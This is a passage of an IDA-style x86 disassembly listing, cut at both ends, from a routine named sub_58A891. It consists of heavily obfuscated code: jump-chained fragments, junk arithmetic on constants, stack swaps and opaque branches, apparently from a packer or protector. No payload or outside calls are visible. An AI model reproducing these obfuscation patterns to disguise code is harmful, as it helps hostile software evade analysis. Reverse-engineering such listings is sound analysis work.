; ---------------------------------------------------------------------------


loc_59A01C:				; CODE XREF: sub_58A891+5D2Ej
		mov	[ebx], edx
		pop	ebx
		jmp	loc_597F29
; ---------------------------------------------------------------------------


loc_59A024:				; CODE XREF: sub_58A891+CBEFj
		dec	ebp
		push	esi
		mov	esi, 313C5797h
		add	esi, 2EA722DEh
		sub	ebp, esi
		jmp	loc_597D54
; ---------------------------------------------------------------------------


loc_59A038:				; CODE XREF: sub_58A891+67FCj
		sub	ebx, 5532ECDh
		pop	ecx
		jmp	loc_58F48A
; ---------------------------------------------------------------------------


loc_59A044:				; CODE XREF: sub_58A891+F19Aj
		sub	bp, 2E20h
		jmp	loc_591D62
; ---------------------------------------------------------------------------


loc_59A04E:				; CODE XREF: sub_58A891+4537j
		shr	word ptr [esp-10h+arg_8], cl
		pushf
		jmp	loc_594CA6
; ---------------------------------------------------------------------------


loc_59A058:				; CODE XREF: sub_58A891+1095Ej
		mov	esi, 2
		add	eax, esi
		pop	esi
		push	0EB4h
		mov	[esp-0Ch+arg_4], eax
		push	[esp-0Ch+arg_8]
		pop	eax
		jmp	loc_599E2E
; ---------------------------------------------------------------------------


loc_59A072:				; CODE XREF: sub_58A891+DA24j
		add	eax, edi
		sub	eax, 6787AA1h
		push	dword ptr [eax]
		push	ebx
		mov	ebx, 91F19A7h
		xor	[esp+44h+var_40], ebx
		pop	ebx
		pop	ecx
		jmp	loc_58F848
; ---------------------------------------------------------------------------


loc_59A08C:				; CODE XREF: sub_58A891+C6F5j
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	dl, 51h
		sub	cl, 0D7h
		jmp	loc_593F8F
; ---------------------------------------------------------------------------


loc_59A09F:				; CODE XREF: sub_58A891+78D2j
					; sub_58A891+9A8Fj
		xor	ebp, [esp+12h+var_14+2]
		jmp	loc_592912
; ---------------------------------------------------------------------------


loc_59A0A7:				; CODE XREF: sub_58A891+458Bj
		push	eax
		mov	al, dl
		jmp	loc_5978A2
; ---------------------------------------------------------------------------


loc_59A0AF:				; CODE XREF: sub_58A891+F29Ej
					; sub_58A891+FFE5j
		xchg	ecx, [edi+24h]
		jmp	loc_594E8C
; ---------------------------------------------------------------------------


loc_59A0B7:				; CODE XREF: sub_58A891+E57Dj
		add	edi, edx
		pop	edx
		add	edi, ebx
		sub	edi, 32D67D7Dh
		pop	ebx
		jmp	loc_59B3D6
; ---------------------------------------------------------------------------


loc_59A0C8:				; CODE XREF: sub_58A891+94C2j
		mov	[esp+18h+var_18], edx
		push	704718FEh
		pop	edx
		sub	edx, 1C5475EFh
		sub	esp, 4
		jmp	loc_595808
; ---------------------------------------------------------------------------


loc_59A0DF:				; CODE XREF: sub_58A891+4113j
					; sub_58A891+DEEDj
		push	7A14h
		mov	[esp+0Ch+var_C], esp
		push	ebx
		mov	ebx, 4
		add	[esp+10h+var_C], ebx
		pop	ebx
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_5933CC
; ---------------------------------------------------------------------------


loc_59A0FE:				; CODE XREF: sub_58A891+9820j
		xchg	edx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4003616Ah
		and	ebp, 3792BD8h
		xor	ebp, 1214Ch
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_59AB4B
; ---------------------------------------------------------------------------


loc_59A12A:				; CODE XREF: sub_58A891+8E66j
		push	[esp+34h+var_30]
		mov	eax, [esp+38h+var_38]
		push	edi
		mov	edi, esp
		jmp	loc_5945DD
; ---------------------------------------------------------------------------


loc_59A139:				; CODE XREF: sub_58A891+6688j
		pop	edx
		mov	eax, esi
		pop	esi
		inc	eax
		js	loc_590976
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		push	ebx
		mov	ebx, 0E786A632h
		xor	eax, ebx
		jmp	loc_593C81
; ---------------------------------------------------------------------------


loc_59A155:				; CODE XREF: sub_58A891+B9DEj
		mov	esi, 4A297424h
		jmp	loc_598B49
; ---------------------------------------------------------------------------


loc_59A15F:				; CODE XREF: sub_58A891+D4EDj
		add	ebx, 41044724h
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 8DB9D53Bh
		jmp	loc_5950F3
; ---------------------------------------------------------------------------


loc_59A173:				; CODE XREF: sub_58A891+8A75j
		mov	[esp+4+var_4], ebx
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		mov	ecx, [esp+0]
		add	esp, 4
		sub	al, dl
		pop	edx
		jmp	loc_59178F
; ---------------------------------------------------------------------------


loc_59A189:				; CODE XREF: sub_58A891+738Ej
		pop	ax
		xor	cl, 0D7h
		jmp	loc_598425
; ---------------------------------------------------------------------------


loc_59A193:				; CODE XREF: sub_58A891+C3D0j
		not	esi
		sub	esi, 0E41BAACDh
		mov	eax, esi
		pop	esi
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 7E131FDDh
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		jmp	loc_593362
; ---------------------------------------------------------------------------


loc_59A1B4:				; DATA XREF: sub_58A891+3BEFo
		lodsb
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_594BE4
; ---------------------------------------------------------------------------


loc_59A1C0:				; CODE XREF: sub_58A891+A091j
		xor	esi, 2B25229h
		jmp	loc_59486A
; ---------------------------------------------------------------------------


loc_59A1CB:				; CODE XREF: sub_58A891+CFFAj
		add	eax, 54061DD7h
		add	eax, ebx
		sub	eax, 54061DD7h
		pop	ebx
		xor	eax, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], eax
		xor	eax, [esp+48h+var_4A+2]
		jmp	loc_5961F5
; ---------------------------------------------------------------------------


loc_59A1E6:				; CODE XREF: sub_58A891+C5BAj
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 57E065FEh
		xor	ecx, 42071E0Dh
		not	ecx
		dec	ecx
		add	ecx, 15E77BF9h
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], esp
		push	eax
		mov	eax, 4
		sub	[esp+3Ch+var_38], 303A046Ch
		add	[esp+3Ch+var_38], eax
		add	[esp+3Ch+var_38], 303A046Ch
		pop	eax
		pop	esi
		jmp	loc_58EBFE
; ---------------------------------------------------------------------------


loc_59A237:				; CODE XREF: sub_58A891+FB56j
		pop	ebx
		shl	dh, 8
		shr	dh, 7
		shl	dh, 8
		push	ecx
		mov	cl, 1Ah
		xor	dh, cl
		jmp	loc_594772
; ---------------------------------------------------------------------------


loc_59A24B:				; CODE XREF: sub_58A891+4848j
		or	bl, 7Fh
		and	bl, 83h
		jnp	loc_597161
		sub	bl, 13h
		sub	bl, 41h
		push	7A9Dh
		mov	[esp+34h+var_34], edx
		pop	eax


loc_59A266:				; CODE XREF: sub_58A891+6068j
		neg	dh
		jno	loc_591EA7
		add	dh, 54h
		mov	ah, dh
		pop	edx
		sub	ch, ah
		mov	ax, word ptr [esp+2Ch+var_2C]
		pop	edi


loc_59A27B:				; CODE XREF: sub_58A891+A48Dj
		mov	ax, word ptr [esp+28h+var_28]
		push	6D58h
		mov	[esp+2Ch+var_2C], edx
		mov	edx, esp
		push	ebx
		push	eax
		jmp	loc_59A771
; ---------------------------------------------------------------------------


loc_59A290:				; CODE XREF: sub_58A891+588Bj
		dec	ebp
		and	ebp, 57B21B1Eh
		or	ebp, 3F536F04h
		xor	ebp, 23523h
		mov	ebx, ebp
		pop	ebp
		not	ebx
		jmp	loc_596544
; ---------------------------------------------------------------------------


loc_59A2AD:				; CODE XREF: sub_58A891+5BA6j
		pop	ecx
		jmp	loc_598E29
; ---------------------------------------------------------------------------


loc_59A2B3:				; CODE XREF: sub_58A891+4183j
		dec	edx
		jmp	loc_595B97
; ---------------------------------------------------------------------------


loc_59A2B9:				; CODE XREF: sub_58A891+89C3j
		pop	edx
		pop	edx
		xor	edx, 740A51E3h
		push	[esp+18h+var_18]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_592B1D
; ---------------------------------------------------------------------------


loc_59A2D4:				; CODE XREF: sub_58A891:loc_58E83Aj
		neg	ecx
		jz	loc_596BF6
		jmp	loc_59175A
; ---------------------------------------------------------------------------


loc_59A2E1:				; CODE XREF: sub_58A891:loc_59A9F3j
		shr	ebp, 1
		jp	loc_594747
		sub	ebp, 987D79F7h
		push	esi
		mov	dl, dl
		mov	ebp, eax


loc_59A2F4:				; CODE XREF: sub_58A891+A646j
		mov	esi, 309F6B26h
		jmp	loc_5925D0
; ---------------------------------------------------------------------------


loc_59A2FE:				; CODE XREF: sub_58A891+87A9j
		push	eax
		jmp	loc_592672
; ---------------------------------------------------------------------------


loc_59A304:				; CODE XREF: sub_58A891+9421j
		mov	esp, [esp+44h+var_46+2]
		xor	edx, edx
		push	ebx
		push	[esp+48h+var_4A+2]
		mov	eax, [esp+4Ch+var_4E+2]
		add	esp, 4
		push	4308h
		mov	[esp+4Ch+var_4E+2], edx
		push	7B8Ah
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_591175
; ---------------------------------------------------------------------------


loc_59A337:				; CODE XREF: sub_58A891+ED7Ej
		pop	ebp
		pop	[esp+0Ch+var_C]
		push	ebp
		push	eax
		jmp	loc_5983AF
; ---------------------------------------------------------------------------


loc_59A342:				; CODE XREF: sub_58A891+7753j
		add	ch, dl
		pop	edx
		jmp	loc_591D91
; ---------------------------------------------------------------------------


loc_59A34A:				; CODE XREF: sub_58A891+7C9Cj
		mov	[esp+0], edi
		jmp	loc_59097F
; ---------------------------------------------------------------------------


loc_59A352:				; CODE XREF: sub_58A891+529Fj
		add	esi, 4
		jmp	loc_592E6F
; ---------------------------------------------------------------------------


loc_59A35D:				; CODE XREF: sub_58A891:loc_599FFFj
		and	ebp, 55E93552h
		sub	ebp, 50D2279Fh
		jg	loc_59B2FB
		jmp	loc_59444D
; ---------------------------------------------------------------------------


loc_59A374:				; CODE XREF: sub_58A891+8E9Dj
		sub	al, bl
		sub	al, 0EEh
		push	ebx
		push	edx
		mov	dh, 1Dh
		mov	bh, dh
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		push	edx
		mov	dl, 0CDh
		or	dl, 1Dh
		neg	dl
		xor	dl, 8Eh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_596FEF
; ---------------------------------------------------------------------------


loc_59A3A6:				; CODE XREF: sub_58A891+70FAj
		mov	esi, 3231139Ah
		jmp	loc_595AFC
; ---------------------------------------------------------------------------


loc_59A3B0:				; CODE XREF: sub_58A891+9160j
		mov	[esp+4Ch+var_4E+2], ebx
		mov	bl, 0D2h
		dec	bl
		jns	loc_591AD8
		push	eax
		jmp	loc_5906F3
; ---------------------------------------------------------------------------


loc_59A3C3:				; CODE XREF: sub_58A891+774Bj
		mov	eax, 22FA5662h
		dec	eax
		jnp	loc_58EB5A
		push	edi
		push	ebp
		push	519C5226h
		mov	ebp, [esp+6Ch+var_6C]
		add	esp, 4
		neg	ebp


loc_59A3DE:				; CODE XREF: sub_58A891+B5A6j
		mov	dx, word ptr [esp+68h+var_68]
		add	esp, 2
		mov	dh, bh
		jmp	loc_59A237
; ---------------------------------------------------------------------------


loc_59A3EC:				; CODE XREF: sub_58A891+DBD4j
		add	esi, edx
		pop	edx
		dec	esi
		not	esi
		jmp	loc_591209
; ---------------------------------------------------------------------------


loc_59A3F7:				; CODE XREF: sub_58A891+D9F5j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_591809
; ---------------------------------------------------------------------------


loc_59A3FF:				; CODE XREF: sub_58A891+439Bj
		pop	esi
		xchg	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A40E:				; CODE XREF: sub_58A891+6B79j
					; sub_58A891+C5F8j
		push	6775h
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_10]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		push	6CCh
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2D8B587Bh
		not	esi
		not	esi
		shl	esi, 5
		xor	esi, 7FA46F45h
		sub	esi, 125360D9h
		push	ecx
		jmp	loc_596D0D
; ---------------------------------------------------------------------------


loc_59A448:				; CODE XREF: sub_58A891+601Bj
		bts	word ptr [esp-10h+arg_8], ax
		pushf
		jmp	loc_599649
; ---------------------------------------------------------------------------


loc_59A453:				; DATA XREF: sub_58A891+3C2Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_5955F1
; ---------------------------------------------------------------------------


loc_59A45F:				; CODE XREF: sub_58A891+6527j
		sub	edi, 181BC4ABh
		mov	eax, edi
		pop	edi
		add	eax, 3D7C0659h
		push	ebx
		mov	ebx, 3D415D61h
		jmp	loc_59112D
; ---------------------------------------------------------------------------


loc_59A478:				; CODE XREF: sub_58A891+5333j
					; sub_58A891+9952j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+40h+var_40]
		xor	[esp+40h+var_40], ebx
		xor	ebx, [esp+40h+var_40]
		pop	esp
		jmp	loc_5903EE
; ---------------------------------------------------------------------------


loc_59A490:				; CODE XREF: sub_58A891+74CCj
		push	eax
		mov	eax, 42132F84h
		jmp	loc_5949E4
; ---------------------------------------------------------------------------


loc_59A49B:				; CODE XREF: sub_58A891+D61Fj
		add	ebx, 2EC716FBh
		add	ebx, 47AF6154h
		sub	ebx, ebp
		sub	ebx, 47AF6154h
		sub	ebx, 2EC716FBh
		pop	ebp
		sub	ebx, eax
		jmp	loc_5917F3
; ---------------------------------------------------------------------------


loc_59A4BD:				; CODE XREF: sub_58A891+3E25j
		xor	ebx, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], ebx
		xor	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_59A63C
; ---------------------------------------------------------------------------


loc_59A4CB:				; CODE XREF: sub_58A891+B7D7j
		mov	edx, edi
		pop	edi
		jmp	loc_591584
; ---------------------------------------------------------------------------


loc_59A4D3:				; CODE XREF: sub_58A891+F043j
		push	edx
		mov	edx, 23AFD7EFh
		sub	ecx, edx
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp-18h+arg_E+2]
		add	esp, 4
		add	ebx, 4
		push	ebx
		jmp	loc_58F452
; ---------------------------------------------------------------------------


loc_59A4F0:				; CODE XREF: sub_58A891+6853j
		xor	ebp, 2915A6F9h
		shl	ebp, 6
		jmp	loc_58FFF8
; ---------------------------------------------------------------------------


loc_59A4FE:				; CODE XREF: sub_58A891+7F97j
		pop	ebx
		jmp	loc_596A3F
; ---------------------------------------------------------------------------


loc_59A504:				; CODE XREF: sub_58A891+B8BBj
		push	ecx
		mov	ecx, 66055964h
		neg	ecx
		or	ecx, 18FB6E14h
		jmp	loc_590897
; ---------------------------------------------------------------------------


loc_59A517:				; CODE XREF: sub_58A891+4D29j
		shl	edx, 8
		xor	edx, 1C98252Eh
		jle	loc_592F1B
		sub	edx, 0EB40E238h
		mov	eax, edx
		jmp	loc_59B98F
; ---------------------------------------------------------------------------


loc_59A533:				; CODE XREF: sub_58A891+4B01j
		push	6ADFh
		mov	[esp+34h+var_34], ecx
		mov	ch, 5Eh
		inc	ch
		jno	loc_5945C7
		add	ch, 6Bh
		sub	bl, ch
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		push	esi


loc_59A551:				; CODE XREF: sub_58A891+CA75j
		mov	[esp+34h+var_34], esi
		mov	esi, 640C5DB1h
		xor	esi, 2A0B6561h
		mov	ebp, esi
		mov	esi, [esp+34h+var_34]
		jmp	loc_596D55
; ---------------------------------------------------------------------------


loc_59A569:				; CODE XREF: sub_58A891+CA05j
					; sub_58A891+CBADj
		push	small 337Dh
		mov	word ptr [esp+0Eh+var_10+2], dx
		push	ebx
		mov	bl, 0CCh
		sub	bl, 13h
		jns	loc_58E91E
		add	bl, 41h
		jmp	loc_597A84
; ---------------------------------------------------------------------------


loc_59A585:				; CODE XREF: sub_58A891+7BD1j
		add	cl, ah
		jmp	loc_5973A5
; ---------------------------------------------------------------------------


loc_59A58C:				; CODE XREF: sub_58A891+5ED5j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59800F
; ---------------------------------------------------------------------------


loc_59A594:				; CODE XREF: sub_58A891+B410j
		xor	eax, ecx
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		jmp	loc_591BCE
; ---------------------------------------------------------------------------


loc_59A5AB:				; DATA XREF: sub_58A891+3A57o
		push	[esp+8+var_8]
		jmp	loc_593A41
; ---------------------------------------------------------------------------


loc_59A5B3:				; CODE XREF: sub_58A891+D5F4j
		shl	eax, 8
		jnp	loc_597B4D
		xor	eax, 0F325F457h
		jmp	loc_596B2F
; ---------------------------------------------------------------------------


loc_59A5C6:				; CODE XREF: sub_58A891+B45Aj
		add	edx, 301A56A6h
		add	edx, eax
		sub	edx, 301A56A6h
		pop	eax
		push	ebx
		mov	ebx, 4ED1372Ch
		sub	ecx, ebx
		pop	ebx
		add	ecx, edx
		jmp	loc_5955CA
; ---------------------------------------------------------------------------


loc_59A5E5:				; CODE XREF: sub_58A891+100DCj
		add	esp, 4
		sub	ebp, 60D33E67h
		push	esi
		jmp	loc_594C13
; ---------------------------------------------------------------------------


loc_59A5F7:				; CODE XREF: sub_58A891+B948j
					; sub_58A891+FDF6j
		sub	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_591AF0
; ---------------------------------------------------------------------------


loc_59A601:				; CODE XREF: sub_58A891+5C24j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xor	eax, [esp+18h+var_18]
		xor	[esp+18h+var_18], eax
		xor	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_599E9D
; ---------------------------------------------------------------------------


loc_59A61A:				; CODE XREF: sub_58A891+A405j
		pop	[esp-8+arg_0]
		pop	esp
		push	[esp-10h+arg_8]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	ecx
		jmp	loc_5939E2
; ---------------------------------------------------------------------------


loc_59A632:				; DATA XREF: sub_58A891+39FBo
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		jmp	loc_590605
; ---------------------------------------------------------------------------


loc_59A63C:				; CODE XREF: sub_58A891+FC35j
		pop	esp
		push	[esp+48h+var_4A+2]
		pop	edx
		push	3FFh
		mov	[esp+4Ch+var_4E+2], ecx
		push	esp
		pop	ecx
		jmp	loc_59918D
; ---------------------------------------------------------------------------


loc_59A650:				; CODE XREF: sub_58A891+6C8Dj
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		push	ecx
		mov	cl, 0FDh
		neg	cl
		neg	cl
		add	cl, 47h
		add	cl, 0ADh
		add	cl, 8Bh
		add	cl, 18h
		sub	al, cl
		jmp	loc_599CE9
; ---------------------------------------------------------------------------


loc_59A673:				; CODE XREF: sub_58A891+709Bj
					; sub_58A891+10095j
		push	edx
		jmp	loc_595AAA
; ---------------------------------------------------------------------------


loc_59A679:				; CODE XREF: sub_58A891:loc_59A6DCj
		neg	eax
		dec	eax
		jl	loc_59189C
		jmp	loc_59755C
; ---------------------------------------------------------------------------
		jmp	loc_59A5F7
; ---------------------------------------------------------------------------
		db 8Bh,	0D2h
; ---------------------------------------------------------------------------
		pop	ecx


loc_59A68F:				; CODE XREF: sub_58A891+60F1j
		mov	ebp, 0E7B5D87h
		xor	ebp, 4FEF6355h
		jno	loc_597846
		shr	ebp, 6
		js	loc_595359
		shr	ebp, 4
		pop	eax


loc_59A6AD:				; CODE XREF: sub_58A891+C7BDj
		xor	dh, ch
		pop	ecx
		sub	bl, dh
		pop	edx
		jmp	loc_5912DB
; ---------------------------------------------------------------------------


loc_59A6B8:				; DATA XREF: sub_58A891+3B7Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+6+var_8+2], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A6C7:				; CODE XREF: sub_58A891+CA4Fj
		push	5C11h
		mov	[esp+0], ebx
		mov	ebx, 0A68EDD35h
		add	edi, ebx
		pop	ebx
		jmp	loc_598914
; ---------------------------------------------------------------------------


loc_59A6DC:				; CODE XREF: sub_58A891+B76Cj
		jmp	loc_59A679
; ---------------------------------------------------------------------------


loc_59A6E1:				; CODE XREF: sub_58A891+F2B7j
		sub	edx, 929BE4C7h
		mov	esi, edx
		jmp	loc_592E36
; ---------------------------------------------------------------------------


loc_59A6EE:				; CODE XREF: sub_58A891+B63Aj
		not	eax
		push	ebp
		mov	ebp, 0A05179Bh
		add	eax, ebp
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		push	ecx
		mov	ecx, 24FA44EAh
		add	ecx, 9D90337Ah
		xor	eax, ecx
		pop	ecx
		and	esi, eax
		pop	eax
		jmp	loc_59774D
; ---------------------------------------------------------------------------


loc_59A718:				; CODE XREF: sub_58A891+110E1j
		push	edx
		mov	edx, 31980F27h
		xor	ecx, edx
		pop	edx
		push	edx
		mov	edx, 22DB7A29h
		xor	edx, 739D09BFh
		push	edi
		mov	edi, 7F2E10DFh
		sub	edi, 34EE0273h
		add	edi, 3AA956F1h
		sub	edi, 0EFD7BEFAh
		xor	edx, edi
		push	[esp+58h+var_58]
		jmp	loc_5946E5
; ---------------------------------------------------------------------------


loc_59A74F:				; CODE XREF: sub_58A891+7606j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_59416A
; ---------------------------------------------------------------------------


loc_59A757:				; CODE XREF: sub_58A891+A0C7j
		sub	esi, 177466h
		add	esi, eax
		add	esi, 177466h
		push	ebx
		push	esi
		mov	esi, 4D9C3C3Bh
		jmp	loc_5952F0
; ---------------------------------------------------------------------------


loc_59A771:				; CODE XREF: sub_58A891+F9FAj
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		sub	edx, 7FB5826h
		jmp	loc_58E663
; ---------------------------------------------------------------------------


loc_59A784:				; CODE XREF: sub_58A891+5787j
		add	ebp, 7D9BF43Bh
		sub	eax, 2D0837D5h
		add	eax, ebp
		jmp	loc_58E615
; ---------------------------------------------------------------------------


loc_59A796:				; CODE XREF: sub_58A891+5486j
					; sub_58A891+105B9j
		sub	esp, 4
		jmp	loc_58EB37
; ---------------------------------------------------------------------------


loc_59A79E:				; CODE XREF: sub_58A891+84A2j
		mov	[esp+18h+var_18], eax
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 10h
		sub	esp, 4
		jmp	loc_59AEAA
; ---------------------------------------------------------------------------


loc_59A7B7:				; CODE XREF: sub_58A891+10281j
		add	esp, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A7C3:				; CODE XREF: sub_58A891+7D5Fj
		shl	ecx, 4
		not	ecx
		not	ecx
		shr	ecx, 1
		sub	ecx, 274BD1CCh
		or	eax, ecx
		jmp	loc_597777
; ---------------------------------------------------------------------------


loc_59A7D9:				; CODE XREF: sub_58A891+4BBCj
		push	[esp+48h+var_4A+2]
		mov	edx, [esp+4Ch+var_4E+2]
		add	esp, 4
		jmp	loc_594711
; ---------------------------------------------------------------------------


loc_59A7E7:				; CODE XREF: sub_58A891+8455j
		push	esi
		push	esp
		pop	esi
		push	edi
		push	4
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		sub	esi, 6F501CC6h
		jmp	loc_591057
; ---------------------------------------------------------------------------


loc_59A804:				; CODE XREF: sub_58A891+AA94j
		mov	edx, 0BE9AD1C1h
		sub	edx, 5C1C1AB0h
		add	edx, esi
		add	edx, 5C1C1AB0h
		pop	esi
		add	eax, 7F6D021Ah
		add	eax, 56BE6C80h
		add	eax, edx
		sub	eax, 56BE6C80h
		sub	eax, 7F6D021Ah
		pop	edx
		jmp	loc_59820D
; ---------------------------------------------------------------------------


loc_59A834:				; CODE XREF: sub_58A891+9447j
		mov	ah, 0DAh
		not	ah
		neg	ah
		push	edx
		mov	dl, 17h
		or	dl, 0AAh
		jmp	loc_58F728
; ---------------------------------------------------------------------------


loc_59A845:				; CODE XREF: sub_58A891+7B18j
					; sub_58A891+82FBj
		sub	esi, 19D51DCBh
		add	eax, esi
		pop	esi
		add	eax, 2
		xchg	eax, [esp+0]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A860:				; CODE XREF: sub_58A891+6814j
					; sub_58A891+D7E9j
		add	esp, 4
		shl	ebp, 6
		inc	ebp
		jns	loc_596B46
		and	ebp, 49CB4E60h
		jo	loc_59A0AF
		mov	ch, 5Bh
		push	edx


loc_59A87F:				; CODE XREF: sub_58A891+8EE4j
		pop	edx
		jmp	loc_598D12
; ---------------------------------------------------------------------------


loc_59A885:				; CODE XREF: sub_58A891+6B51j
		pop	esi
		push	edi
		jmp	loc_597702
; ---------------------------------------------------------------------------


loc_59A88C:				; CODE XREF: sub_58A891+6B00j
		add	eax, edi
		pop	edi
		xor	eax, 0C63649EEh
		xor	ebx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59B9A0
; ---------------------------------------------------------------------------


loc_59A8A4:				; CODE XREF: sub_58A891+E453j
		or	ecx, 64EC7735h
		jb	loc_5993E3
		xor	ecx, 76EEFB75h
		sub	esp, 4
		jmp	loc_599C35
; ---------------------------------------------------------------------------


loc_59A8BE:				; CODE XREF: sub_58A891+AE3Aj
		push	[esp+1Ch+var_1C]
		mov	edi, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_597A6C
; ---------------------------------------------------------------------------


loc_59A8CC:				; CODE XREF: sub_58A891+6A02j
		mov	eax, esi
		jmp	loc_58FC15
; ---------------------------------------------------------------------------


loc_59A8D3:				; CODE XREF: sub_58A891:loc_59244Ej
		inc	ebp
		jge	loc_596614
		dec	ebp
		jmp	loc_59156E
; ---------------------------------------------------------------------------
		jmp	loc_595939
; ---------------------------------------------------------------------------


loc_59A8E5:				; CODE XREF: sub_58A891+7180j
		sub	ch, 64h
		and	ch, 17h
		jmp	loc_59006A
; ---------------------------------------------------------------------------


loc_59A8F0:				; CODE XREF: sub_58A891+B1C5j
		jmp	loc_59608C
; ---------------------------------------------------------------------------


loc_59A8F5:				; CODE XREF: sub_58A891+5E15j
		shl	eax, 5
		shr	eax, 5
		xor	eax, 14A399Bh
		sub	ebx, eax
		jmp	loc_5960E9
; ---------------------------------------------------------------------------


loc_59A907:				; CODE XREF: sub_58A891+847Bj
		pop	ebx
		push	esi
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_59A90E:				; CODE XREF: sub_58A891:loc_5910AAj
		inc	eax
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_59A914:				; CODE XREF: sub_58A891+C2FDj
		xchg	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		shl	eax, cl
		jmp	loc_59AF01
; ---------------------------------------------------------------------------


loc_59A921:				; CODE XREF: sub_58A891:loc_59560Cj
		add	eax, 4C1B1145h
		jb	loc_59A673
		jmp	loc_593FFD
; ---------------------------------------------------------------------------


loc_59A931:				; CODE XREF: sub_58A891+C4BFj
		inc	ebp
		jmp	loc_5914E7
; ---------------------------------------------------------------------------


loc_59A937:				; CODE XREF: sub_58A891+46B0j
		mov	esp, [esp+48h+var_4A+2]
		add	eax, 4
		add	eax, 2
		jmp	loc_598F31
; ---------------------------------------------------------------------------


loc_59A947:				; CODE XREF: sub_58A891+E940j
		mov	edx, 2
		add	ecx, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_59771B
; ---------------------------------------------------------------------------


loc_59A956:				; CODE XREF: sub_58A891+8BD5j
		sub	esi, 5C573468h
		xor	esi, 0F66400E0h
		add	ebx, esi
		pop	esi
		jmp	loc_594996
; ---------------------------------------------------------------------------


loc_59A96A:				; CODE XREF: sub_58A891+DA41j
		mov	ebp, [esp+4Ch+var_4E+2]
		jmp	loc_59A5E5
; ---------------------------------------------------------------------------


loc_59A972:				; CODE XREF: sub_58A891+7FEFj
		xor	edi, 3395682Eh
		add	esi, edi
		pop	edi
		push	685Eh
		mov	[esp+0], esi
		push	[esp+50h+var_4E+2]
		pop	esi
		pop	dword ptr [esp+0]
		mov	esp, [esp+4Ch+var_4E+2]
		mov	ax, word ptr [esp+4Ch+var_4E+2]
		push	edx
		push	esp
		push	[esp+54h+var_54]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		pop	esp
		push	eax
		mov	eax, 0FE751B0h
		jmp	loc_592411
; ---------------------------------------------------------------------------


loc_59A9B3:				; CODE XREF: sub_58A891+A233j
					; sub_58A891+1104Cj
		push	eax
		push	7BA612B7h
		pop	eax
		shr	eax, 5
		sub	eax, 7D4B6E13h
		jmp	loc_596CBC
; ---------------------------------------------------------------------------


loc_59A9C7:				; CODE XREF: sub_58A891+DF7Aj
		push	[esp-0Ch+arg_4]
		jmp	loc_5924E1
; ---------------------------------------------------------------------------


loc_59A9CF:				; CODE XREF: sub_58A891+E4BEj
		or	cl, 98h
		neg	cl
		neg	cl
		dec	cl
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_595160
; ---------------------------------------------------------------------------


loc_59A9E6:				; CODE XREF: sub_58A891+9EE9j
		mov	esi, 6413705Ch
		mov	ecx, esi
